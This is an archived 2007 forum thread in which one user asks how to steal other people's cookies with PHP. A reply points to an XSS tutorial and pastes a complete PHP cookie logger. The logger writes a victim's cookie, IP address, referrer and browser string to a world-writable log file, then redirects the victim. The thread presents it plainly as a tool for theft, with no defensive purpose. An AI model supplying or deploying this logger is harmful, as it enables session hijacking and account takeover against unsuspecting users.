PDA

View Full Version : stealing somebodys cookies with PHP?



Noobstur1
08-14-2007, 04:55 PM
is there any PHP script to retrieve someones cookies and copy them to my server?

Moonbat
08-14-2007, 05:39 PM
http://thedefaced.org/tutorials/xss_tutorial.html

That teaches about XSS, a vital part to stealing cookies, if you just want the PHP cookie logger, here's the code from that tutorial:


<?php
/*
** Kr*w's Cookie Logger
** www.thedefaced.org
*/

$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];

$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";

$log = "cookies.txt";
@chmod($log, 0777);

$f = fopen($log, 'a');
fwrite($f, $data);
fclose($f);

@header("Location: $redirect");

?>